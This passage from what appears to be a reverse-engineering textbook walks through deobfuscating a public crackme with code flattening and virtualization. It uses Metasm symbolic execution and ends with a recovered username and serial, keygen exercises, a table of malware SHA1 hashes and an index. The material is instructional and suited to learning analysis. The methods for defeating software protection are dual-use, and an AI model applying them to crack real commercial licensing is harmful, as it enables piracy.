  40127b !   mov     esp, eax

  40127d !   mov     esp, ebp

  40127f !   xor     eax, eax

  401281 !   pop     edx

  401282 !   ret

Note that the dynamic generation of code performed by VxStripper naturally 

unfl attens the fl attened code. Applying standard optimization transformations 

results in a program stripped of this obfuscation:

  ...... !   push    eax
  4011f1 !   mov     dword ptr [esp-18h], 16h
  4011f9 !   mov     dword ptr [esp-1ch], strz_yd_402010
  401201 !   mov     ebp, esp
  401203 !   lea     eax, [esp-1ch]
  401207 !   mov     esp, eax
  401209 !   call    crtdll.dll:printf_401268
  40120e !   mov     esp, ebp
  401210 !   mov     ebp, esp
  401212 !   lea     eax, [esp+8]
  401216 !   mov     esp, eax
  401218 !   mov     esp, ebp
  40121a !   xor     eax, eax
  40121c !   pop     edx
  40121d !   ret

Even if work remains before obtaining software that supports the set of soft-

ware protection tools usable by malware authors, these fi rst results encourage us 

to pursue the study of generic methods of unpacking and normalization, with 

the goal of automating as much as possible the tasks conducted by an analyst.
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This tool provides a self-suffi cient piece of software for malware analysis. 

However, one of the future goals of this project is to enable the tool to interact 

with other analysis tools. By design, this tool may be able to collaborate with 

any software analysis tool based on the LLVM compilation chain.

The LLVM compilation chain and the many LLVM-based tools already provide 

a great library of program analyses that can be used together to defeat malware 

protection mechanisms. 

In addition, Vellvm (Verifi ed LLVM) may be used to formally extract verifi ed 

implementations of deobfuscation passes implemented by VxStripper. In addition 

to malware threat analysis, other uses of this tool can also be imagined, such 

as detection scheme extraction, software protections, and antivirus software 

robustness analysis.

Case Study

The sample we’ll use for this case study is actually a crackme originally posted 

on Crackmes.de by quetz in 2007. Even though it is a “only” a crackme, it features 

most of the concepts that one would fi nd in a professional-grade protection. 

Among other rejoicings it contains the following:

 ■ Code-fl attening 

 ■ Variable encoding 

 ■ Code virtualization 

Here is how the author introduces its challenge:

Lately, protection from static analysis becomes more and more popular. 

Almost every protector employs some kind of obfuscation, virtual machine, 

etc... This keygenme is an attempt to show what happens if you abuse idea 

of obfuscation. Can human effectively analyze such code? Maybe with an 

assistance of a tool?

—http://crackmes.de/users/quetz/q_keygenme_1.0/

Fortunately, we have tools and in this section we will use them. Before start-

ing, we recommend that you not look at the symbols section contained within 

the binary. As an aside, previous versions of IDA Pro (maybe inferior to 6.2) 

didn’t load these symbols and the author of these lines cheerfully failed to look 

for them.

First Impressions

Launching the executable offers you the opportunity to input a username and a 

password. After clicking the Check button, a message box appears and displays 

the validity of your credentials.

http://crackmes.de/users/quetz/q_keygenme_1.0
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If you’ve carefully read the previous chapters of this book, you have probably 

already fi red up your favorite disassembler and targeted the GUI’s DialogProc 

callback function.

Let’s fi rst look at the general architecture of the protected code. The control-

fl ow graph is way too messy to be natural compiler-generated code: We have an 

obfuscated DialogProc calling two code-fl attened functions (func1@0x430DB0, 

func2@0x431E00). These two functions themselves call what seems to be a VM 

(vm@0x401360).

We have already discussed the VM’s single dispatch point; this one is pretty 

straightforward to spot (look for an important jump table in the absence of any 

other clues):

01: .text:00401F20

02: mov    ebp, [esp+13Ch]
03: cmp    ebp, 3E2Dh; switch 15918 cases
04: ja short loc_401F36
05: jmp    ds:off_43D000[ebp*4]; switch jump

These are our two fi rst and almost free pieces of knowledge about the VM: 

It stores its current handler number in [ESP+13Ch] and there are 15,918 entries 

in the dispatcher (for now, we cannot conclude whether they are all different 

handlers).

Before getting our hands dirty, we can try to do some black-box analysis 

of the func1 and func2 functions. We know func1 and func2 call the VM; we 

simply log every call to the VM and especially the number of the fi rst handler 

that is called (a sort of entry point in the VM code). That seems quite trivial but 

one should never disregard low-hanging fruit.

Results are immediately revealing: func2 is called before func1, so we will 

start with func2. As soon as you look at the logs of the VM’s entry point, these 

patterns stand out:

 ■ 546h-0BFFh-7B2h-9A2h-405h-919h-3B9h—624 times

 ■ 0CF5h-15Eh-184h-39Ch-5B0h-3C0h-0F75h—624 times

 ■ 0A06h-0xA29h-0x268h-0xCB3h—227 times

 ■ 736h-13Ah-1EBh-897h—396 times

 ■ 150h-8ABh-843h-697h-474h—200 times

That’s actually already a lot of information. If you look at the .data section, 

an extra hint is waiting:

01: .data:0043CA44  dword_43CA4402: .data:0043CA48  dd 9908B0DFh

Where does 9908B0DFh come from? And 624? And 227? Well, either you are 

really familiar with random number generators or you look for these values; 

they identify a Mersenne twister pseudo-random generator algorithm. 624 

and 397 are the period parameters, while 9908B0DFh is a constant used during 

number generation.
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We have identifi ed a critical weakness of the protection: Virtualized code 

leaks some information about the structure of the protected algorithm, mak-

ing it trivial to recover loop iterations. Nevertheless, do we have nicely crafted 

virtualized code nullifi ed with one breakpoint? Not yet. We have an algorithm 

candidate but it needs to be confi rmed.

Again, one should never reverse engineer some code when it is possible to 

guess (and validate) information! In this case, a black-box analysis reveals a lot 

simply by looking at the inputs/outputs of functions func1 and func2. A basic 

strategy like this or differential analysis of VM execution can sometimes be of 

great help. Let’s refi ne our analysis of these two functions: 

 ■ func2

 ■ Input—Two arguments: an address on the stack that seems to be an 

array of integers, and a 32-bit value that seems to depend on the length 

of the name.

 ■ Output—Nothing remarkable except that the integers array has been 

updated.

 ■ Occurrence—Called a single time, at the beginning and before func1.

 ■ Guess—Mersenne twister initialization, the array is actually the state 

of the PNRG. The 32-bit value is the initialization seed. This can be 

further validated by matching loop parameters (learned from the logs) 

with a standard initialization function.

 ■ func1

 ■ Input—Two arguments: the address of the (supposed) PRNG state and 

a 32-bit value that seems to be a letter from the username.

 ■ Output—Returns a 32-bit random value.

 ■ Occurrence—Called 100 times.

 ■ Guess—Mersenne twister rand32-like function.

Analyzing Handlers Semantics

It is now time to analyze the VM. The main dispatcher has already been found 

at [ESP+13ch]. It is often a good idea to manually check a few handlers to see 

how they access the VM’s context, how they update the program counter and/

or bytecode pointer, and so on.

This process can be applied on a random handler—for example, the one 

starting at 0x41836c:

01: .text:0041836C loc_41836C:
02:        ; DATA XREF: .rdata:off_43D000
03:        ; jumptable 00401F2F cases 2815,4091
04: .text:0041836C  movzx ecx, [esp+3D8h+var_2A2]
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05: .text:00418374  mov   esi, 97Fh
06: .text:00418379  mov   ebx, [esp+3D8h+var_3C8]
07: .text:0041837D  movzx edi, [esp+3D8h+var_29E]
08: .text:00418385  add   [esp+3D8h+var_3C0], 94Eh
09: .text:0041838D  imul  eax, ecx, 1Ch
10: .text:00418390  sub   [esp+3D8h+var_3C4], 0FF0h
11: .text:00418398  imul  ecx, edi, 5DDh
12: .text:0041839E  mov   [esp+3D8h+var_37C], esi
13: .text:004183A2  lea   edx, [eax+ebx+5C8h]
14: .text:004183A9  mov   ebx, 97Fh
15: .text:004183AE  mov   [esp+3D8h+var_3C8], edx
16: .text:004183B2  sub   ebx, ecx
17: .text:004183B4  lea   edx, [ebp+ebx+29Dh+var_8BC]
18: .text:004183BB  mov   [esp+3D8h+var_378], ebx
19: .text:004183BF  mov   [esp+3D8h+var_380], ebx
20: .text:004183C3  mov   [esp+3D8h+var_29D+1], edx
21: .text:004183CA  jmp   loc_401F20

Let’s get some help from Metasm. As shown previously, we can use the code-

binding method to compute the semantics of a chunk of code:

dword ptr [esp+10h] => 1ch*byte ptr [esp+136h]+dword ptr [esp+10h]+5c8h

dword ptr [esp+14h] => dword ptr [esp+14h]-0ff0h 

dword ptr [esp+18h] => dword ptr [esp+18h]+94eh 

dword ptr [esp+58h] => -5ddh*byte ptr [esp+13ah]+97fh 

dword ptr [esp+5ch] => 97fh 

dword ptr [esp+60h] => -5ddh*byte ptr [esp+13ah]+97fh

dword ptr [esp+13ch] => ebp-5ddh*byte ptr [esp+13ah]+360h 

eax => (1ch*byte ptr [esp+136h])&0ffffffffh 

ecx => (5ddh*byte ptr [esp+13ah])&0ffffffffh 

edx => (ebp-5ddh*byte ptr [esp+13ah]+360h)&0ffffffffh 

ebx => (-5ddh*byte ptr [esp+13ah]+97fh)&0ffffffffh 

esi => 97fh

edi => byte ptr [esp+13ah]&0ffffffffh

The VM’s context is stored on the stack and no values are passed by registers 

between handlers; that means all register modifi cation can be dropped to get 

a clearer view:

dword ptr [esp+10h] => 1ch*byte ptr [esp+136h]+dword ptr [esp+10h]+5c8h 

dword ptr [esp+14h] => dword ptr [esp+14h]-0ff0h 

dword ptr [esp+18h] => dword ptr [esp+18h]+94eh 

dword ptr [esp+58h] => -5ddh*byte ptr [esp+13ah]+97fh 

dword ptr [esp+5ch] => 97fh 

dword ptr [esp+60h] => -5ddh*byte ptr [esp+13ah]+97fh 

dword ptr [esp+13ch] => ebp-5ddh*byte ptr [esp+13ah]+360h

We already know that the handler number is stored at [ESP+13Ch]. It is updated 

by the handler. Its fi nal value depends on the value of byte ptr [ESP+13ah]. By 

analyzing a few other handlers, we can guess it is a Boolean value, and a few 

other Booleans are stored in the context. This one is stored in second position, 

and it will be named flag2.
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[ESP+58h], [ESP +5Ch], and [ESP +60h] are fi rmly tied with the handler 

number computation. They respectively contain the delta between the old and 

new handler number in case the condition (here flag2) is true or false.

[ESP +10h], [ESP +14h], and [ESP +18h] are also of high interest. They are 

updated by almost every handler and are supposed to decrypt the bytecode: 

They access the large undefi ned constants table stored in the .data section). 

They are actually like a running key; they’ll be named respectively key_a, 

key_b, and key_c.

The following is an example of key usage taken from handler 0xa0a at address 

0x427b17:

nHandler => dword ptr [4*key_c+436010h]^ 
            dword ptr [4*key_b+436010h]^ 
            dword ptr [4*key_a+436010h]

The names can be injected within the handler’s binding, making it more under-

standable (even if that’s not our main objective here) and easy to manipulate:

key_a => 1ch*flag6+key_a+5c8h 
key_b => key_b-0ff0h 
key_c => key_c+94eh 
delta_true => -5ddh*flag2+97fh 
delta_false => 97fh 
delta => -5ddh*flag2+97fh 
nHandler => ebp-5ddh*flag2+360h 

This handler has almost the semantics of a conditional jump. By analyzing a 

few other handlers, it is possible to recover and validate a mapping of the VM’s 

symbolic variables, which will be represented by a hash object:

SYMBOLIC_VM = {

    Indirection[Expression[ :esp, :+, 0x10], 4, nil] => :key_a,

    Indirection[Expression[ :esp, :+, 0x14], 4, nil] => :key_b,

    Indirection[Expression[ :esp, :+, 0x18], 4, nil] => :key_c,

    Indirection[Expression[ :esp, :+, 0x58], 4, nil] => :delta,

    Indirection[Expression[ :esp, :+, 0x5c], 4, nil] => :delta_false,

    Indirection[Expression[ :esp, :+, 0x60], 4, nil] => :delta_true,

    Indirection[Expression[ :esp, :+, 0x134], 1, nil] => :flag8,

    Indirection[Expression[ :esp, :+, 0x135], 1, nil] => :flag7,

    Indirection[Expression[ :esp, :+, 0x136], 1, nil] => :flag6,

    Indirection[Expression[ :esp, :+, 0x137], 1, nil] => :flag5,

    Indirection[Expression[ :esp, :+, 0x138], 1, nil] => :flag4,

    Indirection[Expression[ :esp, :+, 0x139], 1, nil] => :flag3,

    Indirection[Expression[ :esp, :+, 0x13a], 1, nil] => :flag2,

    Indirection[Expression[ :esp, :+, 0x13b], 1, nil] => :flag1,

    Indirection[Expression[ :esp, :+, 0x13c], 4, nil] => :nHandler

}

Other memory locations do not seem to have a dedicated purpose; they can 

be considered/mapped as general-purpose registers. With this mapping, we 
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have all we need to process a symbolic execution of the VM (i.e., step-by-step 

execution of handler’s semantics).

Symbolic Execution

In order to process a symbolic execution, you must have some clues about the 

initialization context of the VM; recall the initial value of the turning key or the 

value of the program counter (handler number). In our case, calls to the VM are 

themselves obfuscated (remember the previously discussed graph-fl attened func-

tions), making the initialization context quite hard to recover statically. In that 

situation, one can simply take the best of the two worlds and use a compromise 

between static and dynamic analysis, sometimes referred to as concolic execution.

Basically that means you debug the target and catch (break at) every call to 

the VM; within the callback, you switch from dynamic to static analysis and 

proceed to the following actions:

 1. Dump target’s memory.

 2. Initialize the symbolic analysis context with the memory dump. Actually, 

a kind of lazy loading can be used. All access to the uninitialized context 

will be solved and cached using the memory dump.

 3. Compute the VM’s symbolic execution.

Using concolic execution, it becomes quite easy to follow the execution fl ow 

of the VM (i.e., a succession of handlers). The process of handler analysis and 

tracing is fully automated.

Here is an example of output of the tool for one handler. The extensive use of 

the turning key (consisting of key_a, key_b, and key_c) clearly appears; in this 

situation, the key is used to obfuscate access to the VM’s context:

[+] disasm handler 2be at 42c2cdh

[+] analyzing handler at 0x42c2cd

[+] considering code from 0x42c2cd to 0x42c3b3

[+] cached handler binding

dword ptr [dword ptr [esp+4*(dword ptr [4*key_b+436000h]^

  (dword ptr [4*key_c+436000h]^dword ptr [4*key_a+436000h]))+140h]] =>

  dword ptr [dword ptr [esp+4*(dword ptr [4*key_b+436004h]^

  (dword ptr [4*key_c+436004h]^dword ptr [4*key_a+436004h]))+140h]]

key_c => key_c+5 

key_b => key_b+5 

key_a => key_a+5

nHandler => (dword ptr [4*key_b+43600ch]^

  (dword ptr [4*key_c+43600ch]^dword ptr [4*key_a+43600ch]))+

  (((dword ptr [4*key_c+436010h]^(dword ptr [4*key_b+436010h]^

  dword ptr [4*key_a+436010h]))*(byte ptr [dword ptr [esp+4*
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  (dword ptr [4*key_b+436008h]^(dword ptr [4*key_c+436008h]^

  dword ptr [4*key_a+436008h]))+140h]]&0ffh))&0ffffffffh)

[+] symbolic binding

dword ptr [esp+0a8h] => dword ptr [esp+0ach] 

key_c => 0d6h 

key_b => 1f6h 

key_a => 126ah 

nHandler => ((21eh*(flag4&0ffh))&0ffffffffh)+0ac6h

[+] solved binding

dword ptr [esp+0a8h] => 4f3de0b9h 

key_c => 0d6h 

key_b => 1f6h 

key_a => 126ah n

Handler => 0ac6h

Solving the Challenge

What we have designed so far is equivalent to a VM’s level-tracing tool. Handling 

branching statements—(un)conditional jumps, calls—would be required to get 

a disassembling-oriented tool. We could build a more complex tool, a sort of 

compiler, based on a bytecode disassembler and be able to regenerate native 

code. Using a previous example, the tool would process the input: 

dword ptr [ESP+0a8h] => dword ptr [ESP+0ach] 

to a C-like source:

vm_ctx.reg_2ah = vm_ctx.reg_2bh;

For this sample, we will rely on the tracing feature only. The strategy is 

straightforward. We have a good idea of the algorithm implemented by the VM, 

so we will use black-box/differential analysis to identify divergence between a 

standard Mersenne twister (MT) algorithm and the VM’s. When a divergence 

is identifi ed, we will check the trace output.

Let’s again take an example to illustrate this: state initialization of the MT 

algorithm. The initialization is implemented by function func2. We will only 

look at its inputs/outputs. The state is an array of 624 dwords. Using standard 

implementations and the same seed used by the program for a name of six 

characters, (3961821h), we get the following:

 ■ Standard implementation—state[1] = 0x968bff6d

 ■ VM’s implementation—state[1] = 0x968e4c84 

We look for these values in the trace:

[+] disasm handler 2c2 at 41f056h

[+] analyzing handler at 0x41f056

[+] considering code from 0x41f056 to 0x41f165
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[+] cached handler binding

byte ptr [esp+0dh] => byte ptr [dword ptr [esp+4*(dword ptr

  [4*key_b+43600ch]^(dword ptr [4*key_c+43600ch]^dword ptr

  [4*key_a+43600ch]))+140h]]&0ffh

dword ptr [dword ptr [esp+4*(dword ptr [4*key_b+436000h]^(dword ptr

  [4*key_c+436000h]^dword ptr [4*key_a+436000h]))+140h]] => dword ptr [dword 

ptr

  [esp+4*(dword ptr [4*key_b+436004h]^(dword ptr [4*key_c+436004h]^dword ptr

  [4*key_a+436004h]))+140h]]^dword ptr [dword ptr [esp+4*(dword ptr

  [4*key_b+436008h]^(dword ptr [4*key_c+436008h]^dword ptr

  [4*key_a+436008h]))+140h]] 

key_c => key_c+6 

key_a => key_a+6 

key_b => key_b+6 

nHandler => (dword ptr [4*key_b+436010h]^(dword ptr [4*key_c+436010h]^dword 

ptr

  [4*key_a+436010h]))+(((dword ptr [4*key_c+436014h]^(dword ptr

  [4*key_b+436014h]^dword ptr [4*key_a+436014h]))*(byte ptr [dword ptr

  [esp+4*(dword ptr [4*key_b+43600ch]^(dword ptr [4*key_c+43600ch]^dword ptr

  [4*key_a+43600ch]))+140h]]&0ffh))&0ffffffffh)

[+] symbolic binding

byte ptr [esp+0dh] => flag2&0ffh 

dword ptr [esp+100h] => dword ptr [esp+9ch]^dword ptr [esp+10ch] 

key_c => 10e2h 

key_a => 12b3h 

key_b => 0c8ah 

nHandler => ((164h*(flag2&0ffh))&0ffffffffh)+0a53h

[+] solved binding

byte ptr [esp+0dh] => 1 

dword ptr [esp+100h] => 968e4c84h 

key_c => 10e2h 

key_a => 12b3h 

key_b => 0c8ah

We have a XOR operation between dword ptr [ESP+9ch] and dword ptr 

[ESP+10ch]. We can check from the context their values:

[+] context dump
[...] 
dword ptr [esp+9ch] => 968bff6dh 
dword ptr [esp+10ch] => 5b3e9h
[...]

This handler has a XOR-like semantics and is included within one of the loops 

previously identifi ed (one with 624 iterations, the size of the MT state). There 

are a few more steps to recover the full transformation, but this approach is 

suffi cient. Its pseudo-code would be as follows:

scramble = 0x5b3e9h
for i in (N-1)
  state[i+1] ^= scramble
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  scramble = lcg_rand(scramble)

with N being the size of the state: 624. lcg_rand is a linear congruential generator 

xn+1 ≡ (axn + c) (mod m), with a, c, and m respectively equal to 0x159b, 0x13e8b, 

and 0xffffffff.

The rest of the Mersenne twister algorithm is also lightly modifi ed; each of 

these tweaks involves the fi rst letter of the username and a simple operation 

ADD/SUB/XOR. We will not say more about these tweaks; please refer to the fol-

lowing “Exercises” section.

 ■ Username—”Hell yeah, we have tools!”

 ■ Serial number—”117538a51905ddf6”

Final Thoughts

That sample is a great playground, nicely crafted by its author. We have used an 

interesting combination of dynamic and static analysis to work through it. The 

protection implements code-fl attening, code virtualization, and data encoding, 

concepts that can be found in most professional-grade protection systems, and 

yet it is still accessible. It provides a useful template for sharpening tools and 

experimenting with new ideas and/or algorithms. The simplicity of the protection 

scheme and the algorithm enabled us to take many shortcuts for this section.

Exercises

The fi rst exercise we propose to you is to keygen this chapter’s case study binary. 

This is a great starting point:

 ■ The binary is unique, relatively small, and easy to analyze, disassemble, 

and instrument. Thus, this is an accessible challenge even for beginners.

 ■ Most of the important implemented techniques have been described in the 

case study. Look for them and ensure that you understand their internals.

After reading this chapter, getting your own hands on the challenge would 

be an invaluable experience. Your task is as follows:

 1. Based on the proposed methodology (or one you come up with), build 

your own tool to analyze the VM’s bytecode.

 2. Contact your favorite demo division and package a stunning keygen for 

this fi ne crackme.

To familiarize yourself with Metasm, you’ll fi nd two exercise scripts with the 

material shipped with the book: symbolic-execution-lvl1.rb and symbolic-

execution-lvl2.rb. Answering the questions will lead you to a journey in 
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Metasm internals. You can fi nd the scripts at www.wiley.com/go/practical-

reverseengineering.com.
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A P P E N D I X

Sample Names and 

Corresponding SHA1 Hashes

The following are the real-life malware samples used in the book’s walk-throughs 

and exercises. They are  live malware and may cause damage to your computer, if not 

properly handled. Please exercise caution in storing and analyzing them.

REFERENCE NAME SHA1

Sample A 092e149933584f3e81619454cbd2f404595b9f42

Sample B bee8225c48b07f35774cb80e6ce2cdfa4cf7e5fb

Sample C d6e45e5b4bd2c963cf16b40e17cdd7676d886a8a

Sample D 2542ba0e808267f3c35372954ef552fd54859063

Sample E 0e67827e591c77da08b6207f550e476c8c166c98

Sample F 086b05814b9539a6a31622ea1c9f626ba323ef6d

Sample G 531971827c3b8e7b0463170352e677d69f19e649

Sample H cb3b2403e1d777c250210d4ed4567cb527cab0f4

Sample I 5991d8f4de7127cfc34840f1dbca2d4a8a6f6edf

Sample J 70cb0b4b8e60dfed949a319a9375fac44168ccbb

Sample K 23ff fc74cf7737a24a5150fab4768f0d59ca2a5c

Sample L 7679d1aa1f957e4afab97bd0c24c6ae81e23597e
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Index

SYMBOLS

$ in run script commands, 242

$$ command (comments), 226–227

$<./$>< commands (script fi les), 

240–241

* (asterisk) for creating comments, 227

?/?? commands (expressions), 190–191

@@ prefi x (expressions), 191

[ ] (square brackets) to indicate 

memory access (x86), 5

{ } (curly braces)

in block commands, 228

in conditional statements, 229

| command (debugging), 196

0x4038F0 routine, 173–175

0xE* pattern, 71

( ) parentheses in conditional 

statements, 229

32-bit EFLAGS register, 3

32-bit general-purpose registers 

(GPRs), 2

/3GB switch, 89

64-bit GPRs, 3

64-bit registers, 36

A

ABI (Application Binary Interface) 

(ARM), 72

abstract interpretation, 290, 294–295

abstract semantics, 290–291

Acorn RISC Machine, 39

ADD instruction, 14

Address parameter (memory), 

203–204

address translation, 26–27

ad-hoc execution.  See asynchronous 

and ad-hoc execution

ADR instruction, 52

AL (always execute) condition, 70–71

aliases (DbgEng)

@call script fi le alias, 244–249

automatic, 219, 225–226

fi xed-name, 225

user-named, 219–224

AMD64 Architecture Programmer’s 
Manual, 28–34

AND operation, 75

APCs (asynchronous procedure calls)

APC LEVEL (1) IRQL, 105

basics, 131–135
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implementing thread suspension 

with, 134

user-mode, 131–132

APIs (Application Program Interfaces)

accessing DbgEng, 258–261

API hooking module (VxStripper), 

309

DeviceIoControl , 151

KeInitializeApc , 132–133

MmGetPhysicalAddress, 181

PsCreateSystemThread, 128

Win32 API functions, 32

WinDbg extension (SDK), 261–262

Application Binary Interface (ABI), 15

application program status register 

(APSR), 61

approximation partial ordering, 

290–291

arbitrary context (kernels), 109–110

arguments, passing to script fi les, 

242–244

arithmetic operations

arithmetic substitution via identities 

(obfuscation), 275

ARM, 60–61

x86 instruction set, 11–13

ARM architecture

arithmetic operations, 60–61

ARM Architecture Reference Manual: 
ARMv7-A and ARMv7-R Edition, 

40

ARM state, 41–42

basics, 40–42

branching and conditional execution, 

61–66

data types and registers, 43–44

decompiling unknown function 

walk-through, 71–77

functions and function invocation, 

57–60

incrementing values in memory, 4

instructions, 46–47, 70–71

JIT (just-in-time) code, 67

loading/storing data. See loading/

storing data (ARM)

overview, 39–40

SMC (self-modifying code), 67

synchronization primitives, 67–68

system services and mechanisms, 

68–70

system-level controls and settings, 45

testing ARM knowledge, 77–78

aS command (aliases), 220–222

asynchronous and ad-hoc execution

asynchronous procedure calls 

(APCs), 131–134

completion routines, 143–144

deferred procedure calls (DPCs), 

135–139

process and thread callbacks, 142

system threads, 128–129

timers, 140–141

work items, 129–131

asynchronous procedure calls (APCs), 

131–134

AT&T syntax for x86 assembly code, 

4–5

automatic aliases (DbgEng), 219, 

225–226

B

B (Branch) instruction, 58

ba command (hardware breakpoints), 

210

backtrace_binding method, 298

backtracking/slicing (Metasm), 

297–302

barrel shifter feature (ARM), 42–43, 60

base frame pointer, 16

BeaEngine by BeatriX, 36

BeagleBoard, 77–78

BKPT instruction, 70

BL (Branch with Link) instruction, 

58–59

Blink pointer, 113–114
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blocks (scripting), 228–229

BLX (Branch with Link and Exchange) 

instruction, 59

bp command (software breakpoints), 

210

branching and conditional execution 

(ARM), 61–66

.break command (scripting), 233

breakpoints (debugging), 208–211

bu command (unresolved 

breakpoints), 209

buffering methods (drivers), 151–152

BX (Branch and Exchange) 

instruction, 58

bytecode encoding/encryption, 316

bytes/word/dword/qword formats 

(registers), 202

C

C (Carry fl ag), 61–62

C++ evaluator syntax (expressions), 

191

CALL instruction, 15, 278, 281

@call script fi le alias, 244–249

callbacks, disassembler (Metasm), 296

calling conventions, 15–16

CALL-like save instruction pointer/

branch, 279

calls window, 190

canonical addresses (x64), 37

.catch command token (scripting), 

232

CBZ/CBNZ comparison instructions, 63

characters and strings (scripting), 

227–228

circular doubly-linked lists, 112

CMN/TEQ comparison instructions, 64

CMOV instruction (Intel), 42

CMP instruction, 18, 62–63

code

code binding (Metasm), 302

code looping over arrays, 8

code obfuscation, 316–317

code virtualization, 285–286

code_binding method (Metasm), 

316–317

code-fl attening (deobfuscation), 316, 

325

command/output window, 189–190

comments ($$ command) (scripting), 

226–227

comparison instructions, 62–63

completeness/soundness of analysis 

algorithms, 290, 293–295

completion routines, 143–144

computational equivalence, 268

computational partial ordering, 290

concolic executions, 292, 331

conditional breakpoints, 210–211

conditional code (cc), 17–18, 62

conditional execution (ARM)

basics, 42

branching and, 61–66

conditional statements (scripting), 

229–231

Console Debugger (CDB), 188–189

constant folding obfuscation, 273

constant propagation algorithm, 291

constant unfolding compiler 

optimization, 271

constant unfolding compiler 

optmization, 273

constraint solvers (SMT/SAT), 292

CONTAINING_RECORD macro, 118–119

.continue command (scripting), 233

continuum of dynamic/static analysis, 

291–293

control fl ow (x86 instruction set), 17–25

control indirection, 280–283

control-based obfuscations

basics, 278–283

interplay with data-based 

obfuscations, 284–288

control-fl ow graphs (CFGs), 283, 

285–286
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coprocessors in ARM, 45

CPSR (current program status 

register), 41, 44

CreateToolhelp32Snapshot 

function, 32

current privilege level (CPL), 2

D

d command (memory dump), 205

Data Execution Prevent (DEP), 182

data movement

x64 architecture, 36–37

x86 instruction set, 5–11

data types

ARM architecture, 43–44

x64 architecture, 36

x86 architecture, 3

data-based obfuscations

basics, 273–277

interplay with control-based 

obfuscations, 284–288

data-encoding schemes (obfuscation), 

273–274

DbgEng

commands, 195

DbgEng extension framework (SDK), 

257

debugger interfaces, 258–261

overview, 188

d-cache (ARM core), 67

dead code elimination (compiler 

optimization), 274–275

dead statement elimination, 271

Debug extension (ARM), 40

debugging tools (Windows)

automating with SDK. See SDK for 

extending debugger

breakpoints, 208–211

debugger interfaces (DbgEng), 

258–261

Debugger Markup Language (DML), 

215

debugger windows, 189–190

evaluating expressions, 190–194

extensions/tools/resources, 264–265

inspecting processes and modules, 

211–214

memory-related commands, 203–208

miscellaneous debugger commands, 

214–216

overview, 187–189

process and thread control, 194–198

registers management, 198–203

scripting with. See scripting with 

Debugging Tools

setting symbol paths, 189

symbols, 208

useful operators, 192–194

writing extensions, 262–264

decidable approximations of concrete 

semantics, 290–291

deferred procedure calls (DPCs), 

135–139

deobfuscation techniques

code-fl attening, 325

continuum of dynamic/static 

analysis, 291–293

decidable approximations of concrete 

semantics, 290–291

overview, 289–290

pattern-based, 312–313

program-analysis-based, 313–315

soundness/completeness concepts, 

293–295

using Metasm, 317–325

using VxStripper, 325–328

VM implementations (code 

virtualization), 315–317

deobfuscation tools

IDA, 295–296

Metasm open source framework. See 

Metasm open source framework

Miasm reverse engineering 

framework, 302–304
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summary of, 312

VxStripper binary rewriting tool. See 

VxStripper binary rewriting tool

Desclaux, Fabrice, 302

descrambling routine (scripts), 

255–256

device objects (drivers), 149–150

DeviceIoControl API, 151

Digital Rights Management (DRM), 

268

Direct IO buffering method, 151

disassembler callbacks (Metasm), 296

disassembly window, 190

DISPATCH LEVEL (2) IRQL, 105

dispatcher switch statement, 285

display selector command (registers), 

202–203

DIV/IDIV instructions, 13

DllMain routine walk-through (x85), 

28–34

DMB instruction (ARM), 68

DosDevices string, 156

do-while loops (scripting), 235–236

DPC_WATCHDOG_ VIOLATION (0x133), 

139

drivers, kernel

analysis of real-life drivers, 184–185

basics, 146–147

driver and device objects, 149–150

DriverEntry function, 155

DriverUnload routine, 149

entry points, 147–149

IRP handling, 150

KeServiceDescriptorTable, 

153–155

mechanisms for user-kernel 

communication, 150–152

sections, 155

system control registers, 153

DriverUnload routine (x86 rootkit), 

159–160

DSB instruction (ARM), 68

.dvfree command (memory), 238

Dynamic Binary Translator (DBT), 

QUEMU, 305

dynamic IRPs, 145

dynamic slicing criteria, 291

dynamic/static analysis 

(deobfuscation), 290–293

E

e command (memory editing), 

206–207

Eagle, Chris, 295

EFLAGS register, common fl ags in, 17

EIP register, 2

.else/.elsif command tokens, 229

encrypted programs upon encrypted 

data, 274

Endianness bit (E), 44

EngExtCpp extensions (SDK), 257

ENODE structures, 130

entry points (drivers), 147–149

errors, script (debugging), 231–232

ETHREAD kernel data structure, 

107–108

ETHREAD objects, 132

events

monitoring (debugging), 197–198

signaled/non-signaled, 110

exceptions

basics, 95

exception vectors, 68

exception/interrupt handling, 25, 

27–28

monitoring (debugging), 197–198

Execute Never (XN), 182

execution context (Windows), 

109–110

expressions, evaluating (debugging), 

190–194

ExpWorkerThread, 131

extensions (debugging tools)
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extension-provided foreach loops, 

239–240

resources for, 264–265

writing (SDK), 262–264

F

fast mutexes, 111

fault exceptions, 28, 95

faults, page, 95

fi le monitor, writing (debug script), 

253–255

fi les

fi le system minifi lter drivers, 147

passing arguments to script fi les, 

242–244

tokenizing from, 238

fi xed-name aliases (DbgEng), 219, 225

Flink pointer, 113–114

fl oating-point formats (registers), 201

fl ushing the cache, 67

for loops (scripting), 233–234

forced-inline routines, 162

foreach loops (scripting), 236–240

forensics module/root-kit analysis 

(VxStripper), 309

frame pointer omission, 16

fully homomorphic mappings 

(obfuscation), 274

function invocation

ARM architecture, 57–60

x64 architecture, 37

x86 instruction set, 13–17

functions

function epilogue, 17

function pointers/offsets, 92–93

function prologue, 16

in/out-lining, 279

using scripts as, 244–249

G

general-purpose registers (GPRs), 2–3

goto constructs, 23

graph fl attening, control-fl ow, 285–286

guarded mutexes, 111

Guilfanov, Ilfak, 296

Guillot, Yoann, 296

H

handlers semantics analysis 

(obfuscation case study), 330–333

hardware breakpoints (DbgEng), 209

hardware interrupts, 28, 95

homomorphism property, 274

I

i-cache (ARM core), 67

IDA tool (deobfuscation), 295–296

idaocaml interpreter, 312

identities, arithmetic substitution via 

(obfuscation), 275

IDIV/DIV instructions, 13

IDT register, 31–32

.if command token, 229

if-else constructs, 18–20, 23

image base of specifi ed module, 

getting (debug script), 249

Import Address Table (IAT), 310

IMUL instruction, 12

InitializeListHead function, 

112–113

inline functions, 279

inspecting processes/modules 

(debugging), 211–214

instruction semantics (Metasm), 

297–298

instructions (ARM)

basics, 46–47

conditional execution of, 70–71

for function invocations, 58

instructions (x86)

arithmetic operations, 11–13

control fl ow, 17–25

data movement, 5–11

function invocation, 13–17

overview, 3–4

stack operations, 13–17
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syntax, 4–5

INT 3 instruction, 184

Intel 64 and IA-32 Architectures Software 
Developer’s Manual, 2

Intel Software Development Manual, 1
Intel syntax for x86 assembly code, 

4–5

Intel/AMD reference manual, 31

intellectual property, protecting, 267

interfaces, debugger (SDK), 258–261

interrupts

basics (system calls), 95–98

exceptions and, 27–28

interrupt descriptor tables (IDTs), 

95–96

interrupt request level (IRQL), 

104–106

I/O request packets (IRPs), 144–146

